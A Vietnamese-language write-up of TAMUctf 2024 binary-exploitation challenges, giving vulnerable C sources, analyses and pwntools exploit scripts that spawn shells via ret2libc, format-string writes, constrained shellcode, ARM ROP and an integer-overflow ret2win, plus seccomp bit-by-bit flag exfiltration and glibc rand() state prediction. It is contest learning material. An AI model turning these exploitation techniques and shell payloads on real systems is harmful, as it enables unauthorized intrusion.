Try   HackMD

(writeup) TAMUctf 2024

Admin Panel

  • easy nên k wu

leak canary, libc -> ret2libc

  • source
#include <stdio.h>
#include <string.h>

int upkeep() {
	// IGNORE THIS
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

int admin() {
	int choice = 0;
	char report[64];

	puts("\nWelcome to the administrator panel!\n");
	puts("Here are your options:");
	puts("1. Display current status report");
	puts("2. Submit error report");
	puts("3: Perform cloning (currently disabled)\n");

	puts("Enter either 1, 2 or 3: ");
	scanf("%d", &choice);

	printf("You picked: %d\n\n", choice);

	if (choice==1) {
		puts("Status report: \n");
		
		puts("\tAdministrator panel functioning as expected.");
		puts("\tSome people have told me that my code is insecure, but");
		puts("\tfortunately, the panel has many standard security measures implemented");
		puts("\tto make up for that fact.\n");

		puts("\tCurrently working on implementing cloning functionality,");
		puts("\tthough it may be somewhat difficult (I am not a competent programmer).");
	}
	else if (choice==2) {
		puts("Enter information on what went wrong:");
		scanf("%128s", report);
		puts("Report submitted!");
	}
	else if (choice==3) {
		// NOTE: Too dangerous in the wrong hands, very spooky indeed
		puts("Sorry, this functionality has not been thoroughly tested yet! Try again later.");
		return 0;

		clone();
	}
	else {
		puts("Invalid option!");
	}
}

int main() {
	upkeep();

	char username[16];
	char password[24];
	char status[24] = "Login Successful!\n";

	puts("Secure Login:");
	puts("Enter username of length 16:");
	scanf("%16s", username);
	puts("Enter password of length 24:");
	scanf("%44s", password);
	printf("Username entered: %s\n", username);
	if (strncmp(username, "admin", 5) != 0 || strncmp(password, "secretpass123", 13) != 0) {
		strcpy(status, "Login failed!\n");
		printf(status);
		printf("\nAccess denied to admin panel.\n");
		printf("Exiting...\n");
		return 0;
	}
	
	printf(status);
	admin();

	printf("\nExiting...\n");
}
  • get flag

image

  • script
#1/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./admin-panel_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.log_level = "debug"

# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="admin-panel")

# gdb.attach(io,gdbscript='''
# b*admin+281
# c
# 	''')
# input()

io.recvline()*2
io.sendline(b'admin'.ljust(16,b'a'))
io.recvline()
io.sendline(b'secretpass123'.ljust(0x20,b'a')+b'%17$p|%15$p')
io.recvuntil(b'%15$p\n')
libc_leak = int(io.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - 0x2409b
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
canary = int(io.recvuntil(b'\n'),16)
log.info("canary: " + hex(canary))
io.sendlineafter(b'3: \n',b'2')
io.recvline()*3
pop_rdi = libc.address + 0x0000000000023a5f

payload = b'a'*0x48
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym.system)
io.sendline(payload)

io.interactive(prompt="")
#gigem{l3ak1ng_4ddre55e5_t0_byp4ss_s3cur1t1e5!!}

gigem{l3ak1ng_4ddre55e5_t0_byp4ss_s3cur1t1e5!!}

Janky

  • basic file check

image

  • source
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>

int upkeep() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int validate(char* ptr, size_t len) {
    csh handle;
    cs_insn *insn;
    int ret = 1;

    if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
        return 0;
    }
    size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);
    size_t success_len = 0;
    if (count > 0) {
        for (size_t j = 0; j < count; j++) {
            ret &= insn[j].mnemonic[0] == 'j';
            success_len += insn[j].size;
        }
        cs_free(insn, count);
    } else {
        return 0;
    }

    cs_close(&handle);

    ret &= len == success_len;
    return ret;
}


int main() {
    upkeep();

    char code[4096];
    size_t n = read(0, code, 0x1000);
    if (n > 0 && validate(code, n)) {
        ((void (*)())code)();
    } else {
        puts("That's not allowed! D:<");
    }
}

analyse

  • chương trình cho ta thực thi shellcode khi và chỉ khi bypass hàm validate()
  • ở hàm validate() sẽ check xem trong shellcode mình có chữ 'j' hay không
ret &= insn[j].mnemonic[0] == 'j';

shellcode có chữ 'j' chỉ có thể lệnh jump
jmp, jz, jne,

shellcode

  • ta sẽ viết shellcode lần 1 chỉ có lệnh jump
  • jump như thế nào thì một khi đang thực thi shellcode, ta có thể jump tuỳ ý, thì ta jump làm sao setup thanh ghi gọi sys_read thôi
jmp run + 3
run:
jmp [0x50e68948] , mov rsi, rsp; push rax
jmp run2 + 3
run2:
jmp [0x50ff3148] , xor rdi, rdi; push rax
jmp run3 + 3
run3:
jmp [0x050f] , syscall
  • shellcode lần 2 cứ execve bình thường

get flag

image

  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./janky',checksec=False)
context.log_level = "debug"

# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="janky")

# gdb.attach(io,gdbscript='''
# 	b*validate+92
# 	b*validate+280
# 	b*main+102
# 	c
# 	''')
# input()
'''
0:  48 89 e6                mov    rsi,rsp
3:  50                      push   rax
-----------------------
0:  48 31 ff                xor    rdi,rdi
3:  50                      push   rax
-----------------------
0:  0f 05 					syscall
'''

shellcode = asm(
'''
jmp run + 3
run:
jmp [0x50e68948]
jmp run2 + 3
run2:
jmp [0x50ff3148]
jmp run3 + 3
run3:
jmp [0x050f]
    ''', arch = 'amd64')

io.send(shellcode)

shellcode = asm('''
mov rbx, 29400045130965551
push rbx

mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
	''',arch='amd64')

io.send(b'a' * 0x21 + shellcode)

io.interactive(prompt="")
#gigem{jump1ng_thr0ugh_h00p5}

gigem{jump1ng_thr0ugh_h00p5}

Rift

  • basic file check

image

  • source:
#include <stdio.h>

int upkeep() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

char buf[64];

void vuln() {
    int always_true = 1;
    while (always_true) {
        fgets(buf, sizeof(buf), stdin);
        printf(buf);
    }
}

int main() {
	upkeep();
    vuln();
}
  • chall về fmtstr
  • idea:
    • thoát loop: ow $rbp-0x4 = 0
    • chain pop_rdi -> binsh -> system để ret2libc

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./rift_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.log_level = "debug"

# io = remote("tamuctf.com", 443, ssl=True, sni="rift")
io = process(exe.path)

# gdb.attach(io,gdbscript='''
# 	b*vuln+56
# 	c
# 	''')
# input()


io.sendline(b'%11$p||%8$p')
libc_leak = int(io.recvuntil(b'||',drop=True),16)
libc.address = libc_leak - 0x2409b
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

stack = int(io.recvuntil(b'\n',drop=True),16)
log.info("stack leak: " + hex(stack))

def fmt(addr,data):
    io.sendline(f"%{(addr)&0xffff}c%13$hn")
    io.sendline(f"%{(data)&0xffff}c%39$hn")
    io.sendline(f"%{(addr+2)&0xffff}c%13$hn")
    io.sendline(f"%{(data>>16)&0xffff}c%39$hn")
    io.sendline(f"%{(addr+4)&0xffff}c%13$hn")
    io.sendline(f"%{(data>>32)&0xffff}c%39$hn")

target = stack - 0x10
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym.system
pop_rdi = libc.address + 0x0000000000023a5f

fmt(target+0x8,pop_rdi)
fmt(target+0x10,binsh)
fmt(target+0x18,system)

io.sendline(f"%{(stack-20)&0xffff}c%13$hn")
io.sendline(f"%39$hn")

io.interactive(prompt="")
#

quên lưu flag =))

Confinement

  • basic file check

image

  • source
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdlib.h>

void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

char FLAG[64] = "test";
void load_flag() {
    FILE* f = fopen("flag.txt", "r");
    if (!f) {
        puts("no flag found D:");
        return;
    }
    fgets(FLAG, 64, f);
}

int main() {
    init();
    char* rwx = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    load_flag();
    read(STDIN_FILENO, rwx, 0x1000);

    if (fork() > 0) {
        int ret = 0;
        wait(&ret);
        if (ret != 0) {
            puts("something went wrong D:");
        } else {
            puts("adios");
        }
    } else {
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
        seccomp_load(ctx);
        ((void (*)())rwx)();
    }
}

analyse

  • chương trình sẽ thực thi shellcode cho mình với điều kiện tiến trình con đang hoạt động (hàm fork())
  • thấy rằng là seccomp chỉ cho phép mỗi exit_group nên nghĩ đến hướng brute force flag

vì có lưu flag trong biến bss

  • và khả năng cao phải brute từng bit

vì nếu brute byte khá là khoai (từ 0x20 đến 0x7f)

brute force

  • ta sẽ tạo 2 vòng lặp, 1 cho từng byte, 1 cho từng bit

image

jump vào shellcode

  • từng bit:
def get_byte(offset):
    bin_str = 0
    for bit_offset in range(8):
        # io = process(exe.path)

        io = remote("tamuctf.com", 443, ssl=True, sni="confinement")
        brute = asm(
            f"""
            pop r12
            sub r12, 0x222c6
            add r12, 0x47020
            mov rsp, r12
            xor r11, r11
            xor rax, rax
            mov al, [rsp+{offset}]
            shr al, {bit_offset}
            and al, 1
            xor rdi, rdi
            mov dil, al
            mov rax, 0xe7
            syscall
        """, arch='amd64')
        io.send(brute)
        output = io.recvuntil(b'\n')
        if b'adios\n' not in output:
            bin_str += 1 << bit_offset

    return bin_str

do trên stack có địa chỉ exe
nên sẽ pop vào 1 thành ghi nào đó đỡ
r trừ ra base
cộng ra địa chỉ FLAG
rồi dùng phép AND (&) để so sánh bit 1 hoặc 0
đưa kết quả vào $rdi rồi call hàm exit_group (sys_num = 0xe7)
nếu ret trả về 1 thì thoả mãn

       if (ret != 0) {
           puts("something went wrong D:");
       } else {
           puts("adios");
       }

đồng thời đưa bit dịch trái theo bit_offset (0 đến 7)

  • từng byte
def get_string(total):
    text = ''
    for i in range(total):
        test = get_byte(i)
        if chr(test) != '\0':
            text += chr(test)
            log.info("######################")
            log.info("found :" + chr(test))
            log.info("######################")
        else:
            break
    return text

lấy kết quả trả về cho vào hàm chr()
gặp NULL (kết thúc chuỗi flag) sẽ break

get flag

image

  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./confinement_patched',checksec=False)
# context.log_level = "debug"

def get_byte(offset):
    bin_str = 0
    for bit_offset in range(8):
        # io = process(exe.path)

        io = remote("tamuctf.com", 443, ssl=True, sni="confinement")
        brute = asm(
            f"""
            pop r12
            sub r12, 0x222c6
            add r12, 0x47020
            mov rsp, r12
            xor r11, r11
            xor rax, rax
            mov al, [rsp+{offset}]
            shr al, {bit_offset}
            and al, 1
            xor rdi, rdi
            mov dil, al
            mov rax, 0xe7
            syscall
        """, arch='amd64')
        io.send(brute)
        output = io.recvuntil(b'\n')
        if b'adios\n' not in output:
            bin_str += 1 << bit_offset

    return bin_str

def get_string(total):
    text = ''
    for i in range(total):
        test = get_byte(i)
        if chr(test) != '\0':
            text += chr(test)
            log.info("######################")
            log.info("found :" + chr(test))
            log.info("######################")
        else:
            break
    return text

flag = 0x47020

last = get_string(30)
print(last)
#gigem{3xf1l_5ucc3ss!}

gigem{3xf1l_5ucc3ss!}

Five

  • basic file check

image

  • source
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void init() {
    // ignore
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

int main() {
    init();
    char* input = mmap(main + 0x10000, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    read(0, input, 5);
    puts("glhf!");
    ((void (*)())(input))();
}

analyse

  • bài này shellcode 5 byte nên nghĩ ngay đến call read 1 lần nữa rồi get_shell

image

  • để setup đủ register thì cần setup cả 4 thanh ghi

$rax=0
$rdi=0
$rsi=addr_shellcode
$rdx=size

  • như vậy cần đến 6 byte

xor rdi,rdi (2 byte)
push rdx (1 byte)
pop rsi (1 byte)
syscall (2 byte)

  • thấy là $rdi đang chứa biến môi trường nên đoán là server sẽ không có (chỉ là kinh nghiệm)
  • nên bỏ phép xor rdi, rdi đi thì syscall thành công trên server
  • vậy local k ăn shell được =)))
  • thế shellcode chỉ cần 4 byte là đủ

get flag

image

  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./five',checksec=False)
context.log_level = "debug"

# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="five")

# gdb.attach(io,gdbscript='''
# 	b*main+107
# 	c
# 	''')
# input()

shellcode = asm('''
push rdx
pop rsi
syscall
	''',arch='amd64')

io.send(shellcode)

stage2 = b'\x90'*4 + asm('''
	mov rbx, 29400045130965551
	push rbx

	mov rdi, rsp
	xor rsi, rsi
	xor rdx, rdx
	mov rax, 0x3b
	syscall
	''')
# sleep(5)
io.sendafter(b'glhf!\n',stage2)

io.interactive(prompt="")
#gigem{if_you_used_syscall_read_pls_tell_nhwn_how_you_did_it}

gigem{if_you_used_syscall_read_pls_tell_nhwn_how_you_did_it}

Good Emulation

  • basic file chec

Ảnh chụp màn hình 2024-04-08 234558

  • source
#include <stdio.h>
#include <stdlib.h>

int upkeep() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
}

void print_maps() {
    FILE* f = fopen("/proc/self/maps", "r");
    char buf[0x1000];
    size_t n = fread(buf, 1, sizeof(buf), f);
    fwrite(buf, 1, n, stdout);
    fflush(stdout);
    fclose(f);
}

void vuln() {
    char buf[128];
    printf("buf is at %p\n", buf);
    gets(buf);
}

int main() {
    upkeep(); 
    puts("Look, the stack isn't RWX!");
    print_maps();
    vuln();
}

analyse

  • vì đây là file kiến trúc ARM nên exploit thông thường hơi khó
  • có thể coi blog về ARM tui có viết
  • BUG BOF khá rõ: gets(buf);
  • thường mấy bài này sẽ tận dụng mấy thanh ghi thôi

ROP chain

  • trước khi nhập buf sẽ ỉn ra /proc/self/maps của tiến trình hiện tại (là chương trình này)
  • ta sẽ setup ROPchain cho 4 thanh ghi

$r7 giống $rax là syscall number = 0x3b
$r0 giống $rdi
$r1 giống $rsi
$r2 giống $rdx
syscall trong arm là svc

get flag

image

  • debug.dbg
file good-emulation
set architecture arm
target remote :1234
b*vuln+44
c
  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./good-emulation',checksec=False)
context.log_level = "debug"

# io = process(['qemu-arm', '-g' ,'1234' ,'./good-emulation'])
context.log_level = 'debug' 
# raw_input('Debug')
io = remote("tamuctf.com", 443, ssl=True, sni="good-emulation")

pop_r0_pc = 0x00060830
pop_r3_pc = 0x00010160
pop_r1_pc = 0x00060918
pop_r7_pc = 0x0002ea68
syscall = 0x0004e878

io.recvuntil(b'is at ')
buf = int(io.recvuntil(b'\n',drop=True),16)

payload = b'/bin/sh\0' + b'a'*0x7c
payload += p32(pop_r0_pc) + p32(buf)
payload += p32(pop_r1_pc) + p32(0)
payload += p32(pop_r3_pc) + p32(0)
payload += p32(pop_r7_pc) + p32(0xb)
payload += p32(syscall)

io.sendline(payload)

io.interactive(prompt="")
#gigem{q3mu_wh4t_th3_fl1p}

gigem{q3mu_wh4t_th3_fl1p}

Shrink

  • basic file check

image

  • source
#include <cstdio>
#include <unistd.h>
#include <string>

void upkeep() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
}

void win() {
    char flag[64] = {0};
    FILE* f = fopen("flag.txt", "r");
    if (!f) {
        perror("missing flag.txt");
        return;
    }
    fgets(flag, 64, f);
    puts(flag);
}

struct Username {
    std::string buf = "this_is_a_default_username";
    size_t len = 26;
    void print() {
        puts(buf.data());
    }
    void change() {
        puts("Enter your new name: ");
        int i = read(0, (void*)buf.data(), len);
        if (i > 0) {
            buf.resize(i);
            buf.shrink_to_fit();
        }
    }
    void add_exclamation() {
        buf += "!";
        len += 1;
    }
};

void vuln() {
    Username username;
    int choice = 0;
    bool going = true;

    while (going) {
        puts("Select an option:");
        puts("1. Print username");
        puts("2. Change username");
        puts("3. Make username more exciting");
        puts("4. Exit");
        scanf("%d", &choice);
        switch (choice) {
            case 1:
                username.print();
                break;
            case 2:
                username.change();
                break;
            case 3:
                username.add_exclamation();
                break;
            default:
                going = false;
                break;
        }

    }
}

int main() {
	upkeep();
    vuln();
}

analyse

  • option1 chỉ là in ra
  • option2 sẽ dựa vào len để read
  • option3 để tăng len rồi thêm byte '!' vào cuối chuỗi
  • BUG ở option3, tăng lượng vừa đủ để ret2win

get flag

image

  • script
from pwn import *

context.binary = exe = ELF('./shrink',checksec=False)
context.log_level = "debug"

# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="shrink")

# gdb.attach(io,gdbscript='''
# b*0x401391
# b*0x401450
# c
# ''')
# input()

for i in range(50):
	io.sendlineafter(b'4. Exit\n',b'3')	

io.sendlineafter(b'4. Exit\n',b'2')
io.sendafter(b'name: \n',b'aaaa')

io.sendlineafter(b'4. Exit\n',b'2')

payload = b'a'*0x38 + p64(0x401255)
io.sendafter(b'name: \n',payload)

io.sendlineafter(b'4. Exit\n',b'4')

io.interactive(prompt="")
#gigem{https://i.redd.it/sayk4pi4ood81.png}

gigem{https://i.redd.it/sayk4pi4ood81.png}

Index

  • basic file check

image

  • source
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

typedef char Message[100];

Message MESSAGES[3] = {"Are ya winnin', son?", "Good luck getting the flag!", "You got this!"};

char* get_message(unsigned long i) {
    Message* ret = &MESSAGES[i];
    Message* start = &MESSAGES[0];
    Message* end = &MESSAGES[2];
    if (ret < start || end < ret) {
        puts("That's not allowed!");
        exit(0);
    }
    return ret;
}

unsigned long get() {
    unsigned long i = 0;
    scanf("%lu", &i);
    return i;
}

void win() {
    asm("andq $-16, %rsp");
    char buf[64];
    FILE* f = fopen("flag.txt", "r");
    fgets(buf, sizeof(buf), f);
    puts(buf);
}

void vuln() {
    while (1) {
        puts("\n1. Edit a message");
        puts("2. Read a message");
        puts("3. Exit\n");
        unsigned long choice = get();
        if (choice == 1) {
            puts("Enter an index to edit (0-2):");
            char* ptr = get_message(get());
            puts("Enter your new message:");
            memset(ptr, 0, 100);
            read(STDIN_FILENO, ptr, 99);
        }  else if (choice == 2) {
            puts("Enter an index to read (0-2):");
            Message tmp;
            strcpy(tmp, get_message(get()));
            puts(tmp);
        } else {
            break;
        }
    }
}

int main() {
    init();
    vuln();
}

analyse

  • thấy rằng có hàm win() nên nghĩ đến ret2win
  • mà option1 có hàm read() đọc size có 99 thôi, memset() tận 100
  • option2 là in ra ouput và lưu trên stack (biến tmp)
  • lờ mờ đoán được phải làm gì đó đụng đến strcpy() tránh NULL byte để copy full chuỗi
  • thực ra có BUG interger overflow khi chọn index

image

get_message()

  • nhận đối số $a1 trả về từ get()
  • nhân 100 rồi check phải nằm trong đoạn này
Message MESSAGES[3] = {"Are ya winnin', son?", "Good luck getting the flag!", "You got this!"};

image

interger overflow

  • BUG ở chỗ nhân với 100 (ai mượn :v)
  • ta sẽ lấy số cao nhất cho kiểu unsigned long

image

18446744073709551615

  • rồi bỏ đi 2 số cuối
  • tăng thêm 1 là 184467440737095517 để khi nhân 100 nó sẽ bị ngu ngu

image

đây là khi bị IOF
không nằm trong phạm vi MESSAGE, MESSAGE+100 hay MESSAGE+200
thế là ta chỉ việc nối chuỗi rồi dùng option2 cho lên stack
rồi option3 exit sẽ return
tăng giảm payload để return chuẩn nha

get flag

image

  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./index',checksec=False)
context.log_level = "debug"

# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="index")

# gdb.attach(io,gdbscript='''
# b*0x40136d
# b*0x00000000004013b5
# b*0x4013c2
# c
# 	''')
# input()

def edit(idx,mess):
	io.sendlineafter(b'3. Exit\n',b'1')
	io.sendlineafter(b'(0-2):',str(idx))
	io.sendafter(b'message:\n',mess)


num = 184467440737095517
payload = b'a'*99
edit(0,payload)
edit(num,payload)
payload = b'b'*(90-0x30-6) + p64(exe.sym.win+1)
edit(1,payload)

# edit(2,payload)
io.sendlineafter(b'3. Exit\n',b'2')
io.sendlineafter(b'(0-2):',str(0))

io.sendlineafter(b'3. Exit\n',b'3')

io.interactive(prompt="")
#gigem{wh0_put_m4th_1n_my_pwn}

gigem{wh0_put_m4th_1n_my_pwn}

Super Lucky

  • basic file check

image

  • source:
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>

int lucky_numbers[777]; 

void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    volatile int seed;
    int fd = open("/dev/urandom", O_RDONLY);
    read(fd, (char*)&seed, sizeof(seed));
    read(fd, (char*)&lucky_numbers, sizeof(lucky_numbers));
    srand(seed);
    seed = 0;

    close(fd);
}

int main() {
    init();

    puts("I'll give you a flag if you can guess the next 7 calls to rand(). As a benevolent level creator, I'll give you 21 free lucky numbers! Take your pick 0-777:");
    for (int i = 0; i < 21; ++i) {
        unsigned long pick = 0;
        scanf("%lu", &pick);
        printf("Here's lucky number #%d: %d\n", i + 1, lucky_numbers[pick]);
    }

    int all_correct = 1;

    for (int i = 0; i < 7; ++i) {
        int guess = 0;
        printf("Enter guess #%d:\n", i + 1);
        scanf("%d", &guess);
        all_correct &= guess == rand();
    }

    if (all_correct) {
        char buf[64];
        FILE* f = fopen("flag.txt", "r");
        fgets(buf, sizeof(buf), f);
        puts(buf);
    } else {
        puts("That's not correct :(");
    }
}

analyse

  • thông qua source ta thấy BUG OOB khá rõ -> leak primitive (21 times)
  • ta sẽ leak libc thông qua puts@got
  • phân tích hoạt động:
for (int i = 0; i < 21; ++i) {
    unsigned long pick = 0;
    scanf("%lu", &pick);
    printf("Here's lucky number #%d: %d\n", i + 1, lucky_numbers[pick]);
}

nhập là "%lu" nhưng output là "%d" (4 byte)
-> leak 2 lần để được full 8 byte

def read4(addr):
    idx = (addr - LUCKY_NUMBERS) // 4
    io.sendline(str(idx).encode())
    io.recvuntil(b': ')
    return int(io.readline().decode().split(" ")[-1]) & 0xffffffff

def read8(addr):
    return read4(addr) | (read4(addr + 4) << 32)

rand

  • ở chall này có lẽ không thể load libc vào để predict rand từ srand được (do seed được gen từ /dev/urandom)
  • vì ta hoàn toàn có thể leak tuỳ ý nên BUG sẽ nằm trong chính source code của rand
struct random_data
  {
    int32_t *fptr;		/* Front pointer.  */
    int32_t *rptr;		/* Rear pointer.  */
    int32_t *state;		/* Array of state values.  */
    int rand_type;		/* Type of random number generator.  */
    int rand_deg;		/* Degree of random number generator.  */
    int rand_sep;		/* Distance between front and rear.  */
    int32_t *end_ptr;		/* Pointer behind state table.  */
  };

https://elixir.bootlin.com/glibc/glibc-2.28/source/stdlib/stdlib.h#L423

static struct random_data unsafe_state =
{
    .fptr = &randtbl[SEP_3 + 1],
    .rptr = &randtbl[1],
    .state = &randtbl[1],
    .rand_type = TYPE_3,
    .rand_deg = DEG_3,
    .rand_sep = SEP_3,
    .end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random.c#L160

  • randtbl
static int32_t randtbl[DEG_3 + 1] =
{
    TYPE_3,

    -1726662223, 379960547, 1735697613, 1040273694, 1313901226,
    1627687941, -179304937, -2073333483, 1780058412, -1989503057,
    -615974602, 344556628, 939512070, -1249116260, 1507946756,
    -812545463, 154635395, 1388815473, -1926676823, 525320961,
    -1009028674, 968117788, -123449607, 1284210865, 435012392,
    -2017506339, -911064859, -370259173, 1132637927, 1398500161,
    -205601318,
};

https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random.c#L146

int __random_r (struct random_data *buf, int32_t *result)
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      uint32_t val;

      val = *fptr += (uint32_t) *rptr;
      /* Chucking least random bit.  */
      *result = val >> 1;
      ++fptr;
      if (fptr >= end_ptr)
	{
	  fptr = state;
	  ++rptr;
	}
      else
	{
	  ++rptr;
	  if (rptr >= end_ptr)
	    rptr = state;
	}
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}

https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/random_r.c#L352

https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random_r.c#L370

  • ta sẽ quan tâm 2 giá trị là fptrrptr

DEBUG

  • ta có công thúc tính như source trên:
      val = *fptr += (uint32_t) *rptr;
      /* Chucking least random bit.  */
      *result = val >> 1;
      ++fptr;
  • ta sẽ reseeding nhằm mục đích debug

randtbl

result sẽ bằng val dịch phải 1
val bằng *fptr (0x3e01511e) + *rptr (0x991539b1) rồi lấy 4 byte (uint32_t)

struct_unsafe_state

  • vậy ta đã predict thành công output của rand
  • và để ý luôn *fptr += (uint32_t) *rptr;

sau khi rand() sẽ cập nhật dữ liệu tại *fptr

update

  • ta chỉ cần 7 giá trị dword (4 byte) cho lần guess, nên sẽ padding lần leak cho đủ 21 lần
  • vì lí do khó hiểu nào đó mà khi pwninit libc thì file patched không tìm thấy unsafe_state nên sẽ gdb cả file gốc lẫn file patched để tìm offset

compare_debug_static_dynamic

offset unsafe_state = 0x1ba740

  • check khi leak ở randtbl :

check

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *
context.binary = exe = ELF('./super-lucky_patched',checksec=False)
context.log_level = 'debug'
libc = ELF("./libc.so.6",checksec=False)

# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="super-lucky")

LUCKY_NUMBERS = 0x404040
UNSAFE_STATE = 0x1ba740

def read4(addr):
    idx = (addr - LUCKY_NUMBERS) // 4
    io.sendline(str(idx).encode())
    io.recvuntil(b': ')
    return int(io.readline().decode().split(" ")[-1]) & 0xffffffff

def read8(addr):
    return read4(addr) | (read4(addr + 4) << 32)

io.readuntil(b"Take your pick 0-777:\n")

puts = read8(exe.got.puts)
libc.address = puts - libc.sym.puts
log.info("libc leak: " + hex(puts))
log.info("libc base: " + hex(libc.address))

# gdb.attach(io,gdbscript='''
#     b*main+81
#     b*main+217
#     c
#     ''')
# input()

unsafe_state = libc.address + UNSAFE_STATE
log.info("unsafe_state: " + hex(unsafe_state))

randtbl_addr = libc.address + 0x1ba1c0

rptr = read8(unsafe_state + 8)
log.info("rptr: " + hex(rptr))

randtbl = []
for i in range(17):
    randtbl.append(read4(rptr + (i * 4)))

log.info("#########################")
log.info("randtbl: " + hex(randtbl_addr))
hex_array = [hex(num) for num in randtbl]
print(hex_array)
log.info("#########################")

for i in range(7):
    io.readline()
    #randtbl[i+3]=fptr #update: *fptr += (uint32_t) *rptr;
    randtbl[i + 3] = ((randtbl[i + 3] + randtbl[i]) & 0xffffffff)
    output = randtbl[i + 3] >> 1
    io.sendline(str(output).encode())

io.interactive(prompt="")
#gigem{n0_on3_exp3ct5_the_l4gg3d_f1b0n4cc1}

gigem{n0_on3_exp3ct5_the_l4gg3d_f1b0n4cc1}